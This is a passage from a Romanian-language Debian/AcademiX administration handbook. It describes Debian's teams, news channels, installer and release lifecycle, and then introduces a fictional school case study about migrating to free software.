• Debian GIS care se îngrijește de aplicațiile și utilizatorii sistemelor de informații geografice;
• Debian Accessibility, îmbunătățește Debian pentru a se potrivi cerințelor persoanelor cu dizabilități.
• Debian Science, în final, pentru a oferi cercetătorilor și oamenilor de știință o experiență mai bună.
• DebiChem, destinat chimiei, oferă suite și programe din domeniu.
Această listă va continua să crească cu timpul și a îmbunătățit percepția avantajelor subproiectelor Debian.
Cu suport total pe infrastructura Debian existentă, ele pot efectiv să se concentreze asupra lucrărilor cu o
valoare adăugată reală, fără a-și face griji de sincronizarea cu Debian, deoarece sunt dezvoltate în cadrul
proiectului.

1.4.3.2. Echipe administrative

Majoritatea echipelor administrative sunt relativ închise și recrutează doar prin cooptare. Cel mai bun mijloc de
a deveni parte a unuia este de a ajuta în mod inteligent membrii actuali, demonstrând că le-au înțeles
obiectivele și metodele de operare.
Responsabilii de server (ftpmasters) sunt însărcinați cu arhiva oficială a pachetelor Debian. Ei mențin programul
care primește pachete trimise de dezvoltatori și le stochează automat, după unele verificări, pe server-ul de
referință (ftp-master.debian.org).
De asemenea, trebuie să verifice licențele tuturor pachetelor noi, pentru a se asigura că Debian le poate
distribui, înainte de a le include în corpusul pachetelor existente. Când un dezvoltator dorește să elimine un
pachet se adresează acestei echipe prin intermediul sistemului de urmărire a erorilor și “pseudo-pachetelor”
ftp.debian.org.

32
 VOCABULAR Sistemul de urmărire a erorilor, conceput inițial pentru a asocia rapoartele de erori cu un pachet Debian, s-a
Pseudo-pachetul, un dovedit foarte practic pentru a gestiona alte probleme: liste de probleme de rezolvat sau sarcini de gestionat fără
instrument de monitorizare nicio legătură cu un anu-mit pachet Debian. “Pseudo-pachetele” permit, astfel, ca anumite echipe să utilizeze
sistemul de urmărire a erorilor, fără a asocia un pachet real cu echipa lor. Toată lumea poate, așadar, să raporteze
probleme care trebuie abordate. De exemplu, BTS are o intrare ftp.debian.org care este utilizată pentru a raporta
și urmări problemele din arhiva pachetului oficial sau pur și simplu pentru a solicita eliminarea unui pachet. De
asemenea, pe www.debian.org pseudo-pachetele se referă la erori de pe situl Debian, iar lists.debian.org adună
toate problemele referitoare la listele de distribuție.

INSTRUMENT O instanță GitLab, cunoscută sub numele de salsa.debian.org, este utilizată de Debian pentru a găzdui
GitLab, Găzduire de depozite depozitele de împachetare Git, dar acest software oferă mult mai mult decât o simplă găzduire, iar contribuitorii
Git și multe altele Debian au reușit rapid să utilizeze caracteristicile de integrare continuă (rularea testelor sau chiar construirea
pachetelor, la fiecare trimitere). Participanții Debian beneficiază, de asemenea, de un flux de lucru mai curat
datorită unei mai bune înțelegeri a îmbinării procesului de solicitare (similar cu solicitările de extragere ale
GitHub).
GitLab a înlocuit FusionForge (care a fost executat pe un serviciu cunoscut sub numele de
alioth.debian.org) pentru întreținerea pachetelor colaborative. Acest serviciu este administrat de
Alexander Wirt, Bastian Blank și Jörg Jaspert.
➨ http://salsa.debian.org/
➨ http://wiki.debian.org/Salsa/Doc

Debian System Administrators - DSA) (debian-admin@lists.debian.org), după cum ne-am putea aștepta, este
responsabilă de administrarea sistemului a numeroaselor server-e utilizate de proiect. Acestea asigură
funcționarea optimă a tuturor serviciilor de bază (DNS, Web, e-mail, shell etc.), instalează software-ul solicitat
de dezvoltatorii Debian și iau toate măsurile de precauție în ceea ce privește securitatea.
➨ https://dsa.debian.org
INSTRUMENT Aceasta este una dintre creațiile lui Raphaël. Ideea de bază este, pentru un pachet dat, să centralizeze cât mai
Debian Package Tracker multe informații pe o singură pagină. Astfel, se poate verifica rapid starea unui program, identifica sarcinile care
trebuie finalizate și poate oferi asistență cuiva. Acesta este motivul pentru care această pagină adună toate
statisticile de erori, versiunile disponibile în fiecare distribuție, progresul unui pachet în distribuția Testing,
starea traducerilor descrierilor și șabloanelor debconf, disponibilitatea posibilă a unei noi versiuni în amonte,
notificări de neconformitate cu cea mai recentă versiune a politicii Debian, informații despre întreținător și orice
alte informații pe care întreținătorul dorește să le includă.
➨ https://tracker.debian.org/
Un serviciu de abonare prin e-mail completează această interfață web. Acesta trimite automat următoarele
informații selectate în listă: erori și discuții conexe, disponibilitatea unei noi versiuni pe server-ele Debian,
traduceri noi disponibile pentru corectură, etc.
Astfel, utilizatorii avansați pot urmări îndeaproape toate aceste informații și chiar pot contribui la proiect, după
ce au înțeles suficient de bine modul în care funcționează.
O altă interfață web, cunoscută sub numele de Debian Developer's Packages Overview (DDPO), oferă fiecărui
dezvoltator un sinopsis al stărilor tuturor pachetelor Debian plasate în sarcina lui.
➨ https://qa.debian.org/developer.php
Aceste două site-uri web sunt instrumente dezvoltate și gestionate de grupul responsabil pentru asigurarea
calității în Debian (cunoscut sub numele de Debian QA).

E-mail server, administrat de listmasters, gestionează listele de corespondență. Acestea creează liste noi,
supraveghează respingerile (anunțuri de eșec la livrare) și menține filtrele de spam (e-mail-uri nesolicitate).

CULTURĂ Listele de corespondență sunt, fără îndoială, cea mai bună mărturie a activității unui proiect, deoarece urmăresc
Traficul pe listele de tot ce se întâmplă. Unele statistici (din 2019) cu privire la listele noastre de corespondență vorbesc de la sine:
corespondență: câteva aspecte Debian găzduiește mai mult de 315 de liste, însumând 303.000 de abonamente individuale. 227.000 de e-mail-
uri sunt livrate zilnic.

Fiecare serviciu specific are propria sa echipă de administrare, compusă în general din voluntari care l-au
instalat (și, de asemenea, au programat frecvent instrumentele corespunzătoare). Acesta este cazul
sistemului de urmărire a erorilor (BTS), agentul de urmărire a pachetelor, salsa.debian.org (GitLab server,
vedeți bara laterală “GitLab, Găzduire de depozite Git și multe altele” pagina 33), serviciile disponibile la
qa.debian.org, lintian.debian.org, buildd.debian.org, cdimage.debian.org, etc.

1.4.3.3. Echipe de dezvoltare, echipe multidisciplinare

Spre deosebire de echipele administrative, echipele de dezvoltare sunt destul de larg deschise.

33
Chiar și contribuabililor din afară. Deși Debian nu are vocația de a crea software, proiectul are nevoie de
anumite programe specifice pentru îndeplinirea obiectivele. Desigur, dezvoltate sub o licență de software
liber, aceste instrumente folosesc metode dovedite oriunde altundeva în lumea software-ului liber.
Debian și-a dezvoltat puțin software propriu, dar anumite programe și-au asumat un rol principal, iar faima lor
s-a extins dincolo de domeniul de aplicare al proiectului. Exemple bune sunt dpkg, programul de gestionare
a pachetelor Debian (este, de fapt, o prescurtare a lui Debian PacKaGe și pronunțat în general ca “dee-
package”) și apt, un instrument pentru instalarea automată a oricărui pachet Debian și a dependențelor sale,
garantând coerența sistemului după o actualizare (numele său este un acronim pentru Advanced Package Tool
— Instrument Avansat de Pachete). Echipele lor sunt totuși mult mai mici, deoarece este necesar un nivel destul
de ridicat de aptitudini de programare pentru a înțelege în ansamblu operațiunile acestor tipuri de programe.
Cea mai importantă echipă este probabil cea a programului de instalare Debian, debian-installer care
a realizat o lucrare de proporții semnificative încă de la concepția sa în 2001. Au fost necesari numeroși
participanți, deoarece este dificil să scrii un singur program capabil să instaleze Debian pe o duzină de
arhitecturi diferite. Fiecare are propriul său mecanism de inițializare și propriul său bootloader. Toate aceste
lucrări sunt coordonate pe lista de corespondență debian-boot@lists.debian.org, sub conducerea lui Cyril
Brulebois.
➨ http://www.debian.org/devel/debian-installer/
➨ http://joeyh.name/blog/entry/d-i_retrospective/
Echipa programului (foarte mică) debian-cd are un obiectiv și mai modest. Mulți participanți “minori” sunt
responsabili pentru arhitectura lor, deoarece dezvoltatorul principal nu poate cunoaște toate subtilitățile și nici
modalitatea exactă de a porni instalatorul de pe CD-ROM.
Multe echipe trebuie să colaboreze cu alții în activitatea de împachetare: lista debian-qa@lists.debian.org
încearcă, de exemplu, să asigure calitatea la toate nivelurile proiectului Debian. Lista debian-
policy@lists.debian.org dezvoltă Politica Debian în conformitate cu propuneri de peste tot. Echipele
responsabile de fiecare arhitectură (debian-architecture@lists.debian.org) compilează toate pachetele,
adaptându-le la arhitectura lor particulară, dacă este nevoie.
Alte echipe gestionează cele mai importante pachete pentru a asigura întreținerea fără a plasa o sarcină
prea mare pe o singură persoană; acesta este cazul bibliotecii C și debian-glibc@lists.debian.org, compilatorul
C de pe lista debian-gcc@lists.debian.org sau Xorg pe debian-x@lists.debian.org acest grup este cunoscut și sub
denumirea de X Strike Force).

1.5. Urmăriți Debian News

După cum am menționat deja, proiectul Debian evoluează într-un mod foarte distribuit, foarte organic. În
consecință, uneori poate fi dificil să rămâi în legătură cu ceea ce se întâmplă în cadrul proiectului fără să fii
copleșit de un potop de notificări fără sfârșit.
Dacă doriți doar cele mai importante știri despre Debian, probabil că ar trebui să vă abonați la lista debian-
announce@lists.debian.org. Aceasta este o listă cu trafic foarte redus (în jur de zeci de mesaje pe an) și oferă
doar cele mai importante anunțuri, cum ar fi disponibilitatea unei noi versiuni stabile, alegerea unui nou lider
de proiect sau Conferința anuală Debian.
➨ https://lists.debian.org/debian-announce/
Mai multe știri mai generaliste (și obișnuite) despre Debian sunt trimise pe lista de corespondență debian-
news@lists.debian.org. Traficul de pe această listă este și destul de rezonabil (de obicei, cam o mână de
mesaje pe lună) și include noutăți semi-ordinare, “Debian Project News”, care este o compilație de mici
informații, despre ce se întâmplă în proiect.
➨ https://lists.debian.org/debian-news/
COMUNITATE Canalele oficiale Debian de comunicare sunt gestionate de voluntari ai echipei de publicitate Debian și ai echipei
Echipele de publicitate și presă de presă. Membrii acestuia din urmă sunt delegați ai Liderului Proiectului Debian și se ocupă de comunicate de
presă oficiale. Echipa de publicitate este mult mai puțin formală și salută contribuțiile tuturor, fie că scriu
articole pentru “Debian Project News”, Debian's official blog (bits.debian.org) sau animă contul de
microblogging (micronews.debian.org3).
➨ http://wiki.debian.org/Teams/Publicity

3https://micronews.debian.org/

34
Pentru mai multe informații despre evoluția Debian și ce se întâmplă la un moment dat în diferite echipe,
există și lista debian-devel-announce@lists.debian.org. După cum îi spune și numele, anunțurile pe care le
transmite vor fi probabil mai interesante pentru dezvoltatori, dar permite și părților interesate să fie cu ochii
pe ceea ce se întâmplă în termeni mai concreți decât la lansarea unei versiuni stabile. În timp ce debian-
announce@lists.debian.org oferă știri despre rezultatele vizibile utilizatorului, debian-devel-
announce@lists.debian.org oferă știri despre modul în care aceste rezultate sunt produse. Ca o notă laterală,
“d-d-a” (cum se face referire uneori) este singura listă la care trebuie să fie abonați dezvoltatorii Debian.
➨ https://lists.debian.org/debian-devel-announce/
Blogul oficial al lui Debian (bits.debian.org4) este și o bună sursă de informații. Acesta transmite cele mai
multe știri interesante publicate pe diverse liste de distribuție pe care le-am acoperit și știri importante din
contribuția de membrilor comunității. Întrucât toți dezvoltatorii Debian pot contribui la aceste știri atunci când
consideră că au ceva demn de făcut public, blogul Debian oferă o informație valoroasă în timp ce rămâne
destul de concentrat asupra proiectului în ansamblu.
O sursă de informare mai neoficială poate fi găsită și pe Planeta Debian, care agregă articole postate de
colaboratorii Debian pe blogurile lor. În timp ce conținutul nu se ocupă exclusiv de dezvoltarea Debian,
acestea oferă o imagine asupra a ceea ce se întâmplă în comunitate și a ceea ce au de făcut membrii
acesteia.
➨ http://planet.debian.org/
Proiectul este de asemenea bine reprezentat pe rețelele de socializare. În timp ce Debian are o prezență
oficială doar pe Identi.ca (cum ar fi platforma de microblogging, alimentată de pump.io), există unele conturi
care retransmit fluxul RSS de la https://micronews.debian.org/ și mulți colaboratori Debian care postează pe
conturi neoficiale.
➨ https://identi.ca/debian
➨ https://twitter.com/debian
➨ https://www.facebook.com/debian
➨ https://plus.google.com/111711190057359692089

1.6. Rolul distribuțiilor

O distribuție GNU/Linux are două obiective principale: instalarea unui sistem de operare liber pe un computer
(cu sau fără un sistem sau sisteme existente) și furnizarea unei game de software care acoperă toate nevoile
utilizatorilor.

1.6.1. Instalatorul: debian-installer

Proiectat să fie extrem de modular, pentru a fi cât mai generic posibil, debian-installer vizează primul
obiectiv. Acoperă o gamă largă de situații de instalare și, în general facilitează foarte mult crearea unui
instalator derivat corespunzător unui caz particular.
Această modularitate, care o face foarte complexă, poate fi descurajantă pentru dezvoltatorii care
descoperă acest instrument; dar indiferent dacă este folosit în modul grafic sau text, experiența utilizatorului
este totuși similară. S-au depus eforturi mari pentru a reduce numărul de întrebări puse la momentul
instalării, în special datorită includerii de programe automate de detectare hardware.
Este interesant de menționat că distribuțiile derivate din Debian diferă foarte mult sub acest aspect și oferă
un program de instalare mai limitat (adesea limitat la arhitecturile i386 sau amd64), dar mai ușor de utilizat
pentru cei neinițiați. Pe de altă parte, de obicei se abțin să se îndepărteze prea mult de conținutul pachetului
pentru a beneficia pe cât posibil de gama vastă de software oferit fără a provoca probleme de compatibilitate.

1.6.2. Software-ul bibliotecă (bază de date)

Cantitativ, Debian este incontestabil lider în acest sens, cu peste 21.000 de pachete sursă. Calitativ, politica
Debian și perioada lungă de testare înainte de a lansa o nouă versiune stable justifică reputația sa în ce
privește stabilitate și robustețea. În ceea ce privește disponibilitatea, totul este disponibil on-line prin mai
multe oglinzi în întreaga lume, cu actualizări trimise la fiecare șase ore.

4https://bits.debian.org/

35
Mulți vânzători dau CD-ROM-uri pe Internet la un preț foarte mic (adesea de cost), “imaginile” pentru care
sunt disponibile descărcări gratuite. Există un singur dezavantaj: frecvența scăzută a lansărilor noilor versiuni
stabile (dezvoltarea lor durează uneori mai mult de doi ani), ceea ce întârzie includerea noilor programe
software.
Majoritatea noilor programe de software liber își găsesc rapid locul în versiunea de dezvoltare care le
permite să fie instalate. Dacă acest lucru necesită prea multe actualizări datorită dependențelor lor,
programul poate fi, de asemenea, recompilat pentru versiunea stabilă Debian (a se vedea capitolul
15. Crearea pachetului Debian“” pagina 337 pentru mai multe informații despre acest subiect).

1.7. Ciclul de viață al unei versiuni

Proiectul va avea simultan trei până la șase versiuni diferite ale fiecărui program, numite Experimental,
Unstable, Testing, Stable, Oldstable și chiar Oldoldstable. Fiecare corespunde unei etape diferite de dezvoltare.
Pentru o înțelegere bună, să aruncăm o privire la traseul unui program, de la împachetarea inițială până la
includerea într-o versiune Debian stable.

VOCABULAR Termenul “lansare” în proiectul Debian indică o versiune particulară a unei distribuții (de exemplu, “unstable
Release release” înseamnă “versiunea instabilă”). De asemenea, indică anunțul public al lansării oricărei noi versiuni
(stabile).

1.7.1. Starea versiunii Experimental

Mai întâi să aruncăm o privire asupra cazului particular al distribuției Experimental: acesta este un grup de
pachete Debian care corespunde software-ului aflat în prezent în dezvoltare și nu neapărat completat,
explicând numele acestuia. Nu totul trece prin acest pas; unii dezvoltatori adaugă pachete aici pentru a
obține reacții de la utilizatori mai experimentați (sau mai curajoși).
Altfel, această distribuție găzduiește frecvent modificări importante ale pachetelor de bază, a căror integrare
în Unstable cu erori grave, ar avea repercusiuni critice. Este așadar o distribuție complet izolată, pachetele
sale nu migrează niciodată la o altă versiune (decât prin intervenția directă, expresă a întreținătorului sau
ftpmasters). De asemenea, nu este de sine stătător: doar un subset de pachete existente sunt prezente în
Experimental și, în general, nu include sistemul de bază. Prin urmare, această distribuție este utilă mai ales în
combinație cu o altă distribuție de sine stătătoare, cum ar fi cea Unstable.

1.7.2. Starea versiunii Unstable

Să ne întoarcem la cazul unui pachet tipic. Întreținătorul creează un pachet inițial, pe care îl compilează
pentru versiunea Unstable și-l pune pe ftp-master.debian.org server. Acest prim eveniment implică
inspecția și validarea de la responsabilii de server (ftpmasters). Software-ul este apoi disponibil în Unstable care
este distribuția “de ultimă oră” aleasă de utilizatorii care sunt mai preocupați de a avea pachete actualizate
decât de îngrijorați de erorile grave. Ei descoperă programul și apoi îl testează.
Dacă întâmpină erori, le raportează către întreținătorul pachetului. Apoi, întreținătorul pregătește în mod
regulat versiuni corectate, pe care le încarcă pe server.
Fiecare pachet recent actualizat este trimis pe toate oglinzile Debian din întreaga lume în termen de șase
ore. Utilizatorii testează apoi corecțiile și caută alte probleme care rezultă din modificări. Mai multe actualizări
pot apărea rapid. În aceste perioade, autobuilder (roboții) intră în acțiune. Cel mai frecvent, întreținătorul
are un singur computer tradițional și a compilat pachetul său pe arhitectura amd64 (sau i386); autobuilder-ii
preiau și compilează automat versiuni pentru toate celelalte arhitecturi. Unele compilări pot eșua;
întreținătorul va primi apoi un raport de eroare care indică problema, care urmează să fie corectată în
versiunile următoare. Când eroarea este descoperită de un specialist pentru arhitectura în cauză, raportul de
erori poate veni cu un petic gata de utilizare.

36
 Figura 1.3 Compilarea unui pachet de către roboți autobuilder

O PRIVIRE RAPIDĂ buildd este prescurtarea pentru “daemon build”. Acest program recompilează automat noi versiuni de pachete
buildd, recompilatorul Debian pe arhitecturile pe care este găzduit (compilarea încrucișată este evitată pe cât posibil).
pachetului Debian Astfel, pentru a produce binare pentru arhitectură arm64, proiectul are mașini disponibile arm64. Programul
buildd rulează continuu pe ele și creează pachete binare pentru arm64 de la pachetele sursă trimise de
dezvoltatorii Debian.
Acest software este utilizat pe toate computerele care servesc ca roboți de recompilare a pachetelor Debian.
Prin extensie, termenul buildd este frecvent utilizat pentru a face referire la aceste mașini (autobuilders), care
sunt rezervate în general exclusiv în acest scop.

1.7.3. Migrarea la Testing

Puțin mai târziu, pachetul va fi maturizat; compilat pe toate arhitecturile, nu va fi suferit modificări recente.
Este, în acest caz, un candidat pentru includerea în distribuția Testing — un grup de pachete din Unstable
alese după câteva criterii cuantificabile. În fiecare zi, un program selectează automat pachetele care să fie
incluse în Testing, conform elementelor care garantează un anumit nivel de calitate:
1. lipsa erorilor critice sau, măcar mai puține decât în versiunea prezentă, inclus în Testing;
2. cel puțin 10 zile petrecute în Unstable, un timp suficient pentru a găsi și raporta orice probleme
grave;
3. compilare reușită pe toate arhitecturile suportate oficial;
4. dependențe care pot fi satisfăcute în distribuția Testing sau care, cel puțin, pot fi mutate acolo
împreună cu pachetul în cauză.
În mod clar, acest sistem nu este infailibil; erorile critice se găsesc regulat în pachetele incluse în Testing.
Totuși, este în general eficient și distribuția Testing prezintă mult mai puține probleme decât Unstable, fiind
pentru mulți un bun compromis între stabilitate și noutate.

REȚINEȚI Deși foarte interesant în principiu, Testing are unele probleme practice: încurcarea dependențelor încrucișate
Limitările lui Testing între pachete este de așa natură încât un pachet nu se poate transfera acolo complet singur. Cu pachete care
depind toate unele de celelalte, este uneori necesară migrarea unui număr mare de pachete simultan, ceea ce este
imposibil atunci când unii încarcă actualizări în mod regulat. Pe de altă parte, scriptul care identifică familiile de
pachete conexe lucrează din greu pentru a le crea (aceasta ar fi o problemă NP- completă, pentru care, din
fericire, cunoaștem câteva euristici bune). Acesta este motivul pentru care putem interacționa manual și ghida
acest script sugerând grupuri de pachete sau impunând includerea anumitor pachete într-un grup, chiar dacă
acest lucru rupe temporar unele dependențe. Această funcționalitate este accesibilă managerilor de presă și
asistenților acestora.

37
 Reamintim că o problemă NP- completă are o complexitate algoritmică exponențială în funcție de dimensiunea
datelor, aici fiind lungimea codului (numărul de caractere) și elementele implicate. Singura modalitate de a o
rezolva este de a examina frecvent toate configurațiile posibile, ceea ce ar putea necesita mijloace enorme.
Metoda euristică este o soluție aproximativă, dar satisfăcătoare.

COMUNITATE Managerul versiunii este un titlu important, asociat cu responsabilități grele. Purtătorul acestui titlu trebuie, de
Managerul versiunii fapt, să gestioneze eliberarea unei noi versiuni Debian stabile și să definească procesul de dezvoltare al lui
Testing până când îndeplinește criteriile de calitate pentru Stable. De asemenea, definesc o tentativă de
planificare (nu întotdeauna urmată).
Avem de asemenea Managerul versiunii Stabile, adesea prescurtat SRM, care gestionează și selectează
actualizări pentru versiunea actuală Debian stabilă. Acestea includ sistematic corecții de securitate și examinează
toate celelalte propuneri de includere, de la caz la caz, trimise de dezvoltatorii Debian dornici să își actualizeze
pachetul în versiunea stabilă.

1.7.4. Avansarea de la Testing la Stable

Să presupunem că pachetul nostru este acum inclus în Testing. Atâta timp cât mai e loc de îmbunătățiri,
întreținătorul său trebuie să continue să-l îmbunătățească și să repornească procesul din Unstable (dar
includerea sa ulterioară în Testing, este în general mai rapidă: dacă nu s-a schimbat semnificativ, toate
dependențele sale sunt deja disponibile). Când ajunge la perfecțiune, întreținătorul și-a încheiat activitatea.
Următorul pas este includerea în distribuția distribuția Stable, care este, în realitate, o simplă copie a lui
Testing la un moment ales de către Managerul versiunii. Ideal, această decizie este luată atunci când
instalatorul este gata și când niciun program din Testing nu mai are erori critice cunoscute.
Întrucât acest moment de fapt nu vine niciodată, Debian trebuie să facă compromisuri: să elimine pachetele
al căror întreținător nu a reușit să corecteze erorile la timp sau să fie de acord să elibereze o distribuție cu
unele erori în mii de programe. Managerul versiunii va anunța anterior o perioadă de îngheț, în timpul căreia
fiecare actualizare la Testing trebuie aprobată.

Figura 1.4 Calea unui pachet prin diferitele versiuni Debian

VOCABULAR În perioada de înghețare, dezvoltarea lui Testing este blocată; nu mai sunt permise actualizări automate. Doar
Înghețarea: actul final managerii versiunilor sunt autorizați să schimbe pachetele, după propriile criterii. Scopul este de a preveni
apariția de noi erori prin introducerea de noi versiuni; doar actualizările amănunțite sunt autorizate atunci când
corectează erori semnificative.

După lansarea unei noi versiuni stabile, managerul versiunii stabile gestionează toate dezvoltările ulterioare
(numite “revizii”, ex: 7.1, 7.2, 7.3 pentru versiunea 7). Aceste actualizări includ sistematic toate peticele de
securitate. De asemenea, vor include cele mai importante corecții (întreținătorul unui pachet trebuie să
dovedească gravitatea problemei pe care dorește să o corecteze pentru a avea actualizările incluse).
La finalul parcursului, pachetul nostru ipotetic este acum inclus în Stable. Acest traseu, nu fără dificultăți,
explică întârzierile semnificative care separă versiunile Debian Stable. Acest lucru contribuie, per total, la
reputația sa privind calitate. Mai mult, majoritatea utilizatorilor sunt mulțumiți folosind una dintre cele trei
distribuții disponibile simultan. Administratorii de sistem, preocupați mai ales de stabilitatea server-elor lor, nu
au nevoie de cea mai recentă și cea mai faimoasă versiune de GNOME; ei pot alege Debian Stable și vor fi
mulțumiți. Utilizatorii finali, mai interesați de cele mai recente versiuni de GNOME sau KDE decât de

38
stabilitatea “beton”, vor găsi la Debian Testing un bun compromis între lipsa problemelor grave și software-ul
relativ actualizat. În cele din urmă, dezvoltatorii și utilizatorii mai experimentați pot fi mai îndrăzneți, testând
direct toate noutățile din Debian Unstable cu riscul de a suferi durerile de cap și erorile inerente oricărui
program în versiunea nouă. Fiecare cu propriul Debian!

CULTURĂ GNOME (GNU Network Object Model Environment) și KDE (K Desktop Environment) sunt cele mai populare
GNOME și KDE, medii grafice două medii grafice de birou din lumea software-ului liber, și vor fi prezentate în secțiunea 13.3. “Afișaje grafice”
de birou pagina 293.
Un mediu de birou este un set de programe grupate pentru a permite gestionarea ușoară a celor mai comune
operații printr-o interfață grafică. În general, acestea includ un manager de fișiere, suită de birou, browser web,
program de e-mail, accesorii multimedia etc. Diferența cea mai vizibilă se află în alegerea bibliotecii grafice
utilizate: GNOME a ales GTK+ (software liber licențiat sub LGPL) și KDE a optat pentru Qt (un proiect
susținut de o companie, disponibile astăzi atât sub licență GPL, cât și sub licență comercială.
➨ http://www.gnome.org/
➨ http://www.kde.org/

Figura 1.5 Traseul cronologic al unui program împachetat de Debian

39
1.7.5. Starea lui Oldstable și Oldoldstable
Fiecare versiune Stable are o durată de viață preconizată de aproximativ 5 ani și având în vedere că lansările
tind să se întâmple o dată la 2 ani, pot exista până la 3 versiuni acceptate la un moment dat. Când se
produce o nouă versiune Stable, versiunea anterioară devine Oldstable iar cea de mai înainte devine
Oldoldstable.
Acest Suport pe Termen Lung (LTS) al lansărilor Debian este o inițiativă recentă: contribuitori individuali și
companii și-au unit forțele pentru a crea echipa “LTS Debian“. Lansările mai vechi care nu mai sunt acceptate
de echipa de securitate Debian intră în responsabilitatea acestei noi echipe.
Echipa de securitate Debian se ocupă de asistența de securitate în versiunea curentă Stable și de asemenea
în Oldstable (dar numai atât timp cât este necesar pentru a asigura un an de suprapunere cu eliberarea
stabilă actuală). Aceasta reprezintă aproximativ trei ani de asistență pentru fiecare versiune. Echipa LTS
Debian se ocupă de ultimii (doi) ani de asistență de securitate, astfel încât fiecare versiune să beneficieze de
cel puțin 5 ani de asistență, astfel încât utilizatorii să poată face upgrade de la versiunea N la N + 2, de
exemplu de la Debian 8 “Jessie” la Debian 10 “Buster”.
➨ https://wiki.debian.org/LTS
COMUNITATE Suportul pe Termen Lung este un angajament dificil de făcut în Debian, deoarece voluntarii tind să evite munca
Companii care sponsorizează care nu este foarte distractivă. Iar furnizarea de suport de securitate pentru software vechi de 5 ani este — pentru
LTS mulți participanți — mult mai puțin distractiv decât împachetarea noilor versiuni din amonte sau dezvoltarea de
noi funcții.
Pentru a aduce proiectul la viață, comunitatea s-a bazat pe faptul că sprijinul pe termen lung a fost deosebit de
relevant pentru companii și că ar fi dispuse să împartă costurile acestui sprijin.
Proiectul a început în iunie 2014: unele organizații le-au permis angajaților să contribuie cu fracțiune de timp la
“Debian LTS”, în timp ce altele au preferat să sponsorizeze proiectul cu bani, astfel încât contribuitori Debian să
fie plătiți pentru munca pe care n-ar face-o gratuit. Cei mai mulți contribuitori Debian dispuși să fie plătiți pentru
a lucra la LTS s-au reunit pentru a crea o ofertă clară de sponsorizare gestionată de Freexian (compania Raphaël
Hertzog):
➨ http://www.freexian.com/services/debian-lts.html
În echipa Debian LTS voluntarii lucrează la pachetele care îi interesează, în timp ce contribuitorii plătiți acordă
prioritate pachetelor folosite de sponsorii lor.
Echipa LTS Debian nu este încă în măsură să sprijine în mod corespunzător toate pachetele din Debian, prin
urmare, voluntarii lucrează la pachetele de care le pasă, în timp ce contribuitorii plătiți acordă prioritate
pachetelor folosite de sponsorii lor.
Proiectul caută mereu noi sponsori: ce ziceți de compania dvs.? puteți lăsa un angajat să lucreze part-time la
asistență pe termen lung? puteți aloca un buget mic pentru asistență de securitate?
➨ https://wiki.debian.org/LTS/Funding

40
41
 Repere

Școala Generală
SMB
Dezvoltare rapidă
Plan general
Migrare
Reducerea costurilor

42
Capitolul 2

2. Prezentarea studiului de caz

Conţinut
Nevoile IT în dezvoltare 44 Strategie 44 De ce GNU/Linux? 45
De ce AcademiX/Debian? 45 De ce Buster? 46

În contextul acestei cărți, sunteți administratorul de sistem al unei școli în transformare. A sosit momentul să
redefiniți planul principal al sistemelor informaționale pentru anul care vine în colaborare cu profesorii dvs.
Alegeți să migrați progresiv către AcademiX, atât din motive practice, cât și economice. Haideți să vedem
mai detaliat ce avem pentru dumneavoastră...

43
Ne-am imaginat acest studiu de caz ca să putem aborda toate serviciile moderne de sistem informatic
folosite curent într-o întreprindere mijlocie. După ce terminați de citit această carte, veți dispune de toate
elementele necesare ca să instalați sistemul AcademiX pe server-ele voastre și să vă descurcați pe cont
propriu. Veți afla și cum să găsiți eficient informațiile, dacă întâmpinați dificultăți pe parcurs.

2.1. Nevoile IT într-o dezvoltare rapidă

Școala Generală este un unitate de învățământ mediu. Ea este într-o transformare rapidă și are două
module. Primul modul are în jur de 50 de angajați, profesori și personal contractual în birourile
administrative, în celălalt modul sunt sălile de clasă și un laborator de informatică.

NOTĂ Școala Generală folosită ca exemplu aici este complet fictivă. Orice asemănare cu o școală existentă este pur
Firmă imaginară, creată pentru întâmplătoare. De asemenea, unele exemple de date din această carte pot fi imaginare.
studiul de caz

Sistemul informatic a întâmpinat dificultăți în încercarea de a ține pasul cu transformarea școlii, așă că acum
sunt determinați să-l redefinească complet pentru a corespunde diferitelor cerințe stabilite de administrație și
învățământ:
• infrastructură modernă și ușor scalabilă;
• reducerea costurilor licențelor de programe, datorată folosirii Programelor Libere;
• instalarea unui sit electronic, posibil unul care face legătura între școli diferite;
• îmbunătățirea semnificativă a securității pentru a proteja mai bine dotarea hardware existentă
împotriva atacurilor cibernetice.
Întregul sistem informațional va fi revizuit, având în vedere aceste obiective.

2.2. Planul general

Cu colaborarea dvs., managementul IT a realizat un studiu ceva mai extins, identificând anumite
constrângeri și definind un plan de migrare către sistemul Open-Source ales, Debian.
O constrângere importantă identificată este că departamentul de contabilitate folosește programe specifice
de specialitate, care rulează doar pe Microsoft Windows™, la fel și laboratorul, pe partea lui, cu programele
specifice.
Trecerea la AcademiX va fi treptată; o școală mică, cu mijloace limitate, nu poate schimba, rezonabil, totul
peste noapte. Pentru început, personalul IT trebuie să fie instruit în administrarea AcademiX. Server-ele vor fi
apoi convertite, începând cu infrastructura de rețea (routere, firewall etc.) urmate de serviciile utilizatorului
(partajarea fișierelor, Web, SMTP etc.). Apoi, computerele de birou vor migra treptat către AcademiX, pentru
ca fiecare departament să fie instruit (intern) în timpul implementării noului sistem.

Figura 2.1 Privire de ansamblu asupra rețelei

44
2.3. De ce o distribuție GNU/Linux?
NOȚIUNI DE BAZĂ Linux, după cum știți deja, este doar un nucleu. Expresiile “distribuție Linux” și “sistem Linux” sunt, astfel,
Linux sau GNU/Linux? incorecte: sunt, în realitate, distribuții sau sisteme bazate pe Linux. Aceste expresii nu menționează software-ul
care completează întotdeauna acest kernel, printre care se numără programele dezvoltate de Proiectul GNU. Dr.
Richard Stallman, fondatorul acestui proiect, insistă ca expresia “GNU/Linux” să fie utilizată sistematic, pentru
o mai bună recunoaștere a importantelor contribuții realizate de Proiectul GNU și a principiilor libertății pe care
sunt întemeiate.
Debian (și implicit AcademiX) a ales să urmeze această recomandare și de aceea, își numește distribuțiile în
consecință ( ultimele versiuni stabile sunt Debian GNU/Linux 10 și AcademiX GNU/Linux 2.5).

Mai mulți factori au condus la această alegere. Administratorul de sistem, care era familiar cu această
distribuție, s-a asigurat că aceasta a fost trecută pe lista de candidați pentru refacerea sistemului informatic.
Condițiile economice dificile și competiția acerbă au limitat bugetul acestei operațiuni, deși este de o
importanță critică pentru viitorul școlii. De aceea soluțiile bazate pe Programe Libere au fost alese fără a sta
prea mult pe gânduri: mai multe studii recente arată că sunt mai ieftine decât soluțiile proprietare, în ciuda
calității serviciilor care este egală sau mai bună, atâta timp cât personalul calificat este disponibil să
răspundă cererilor.

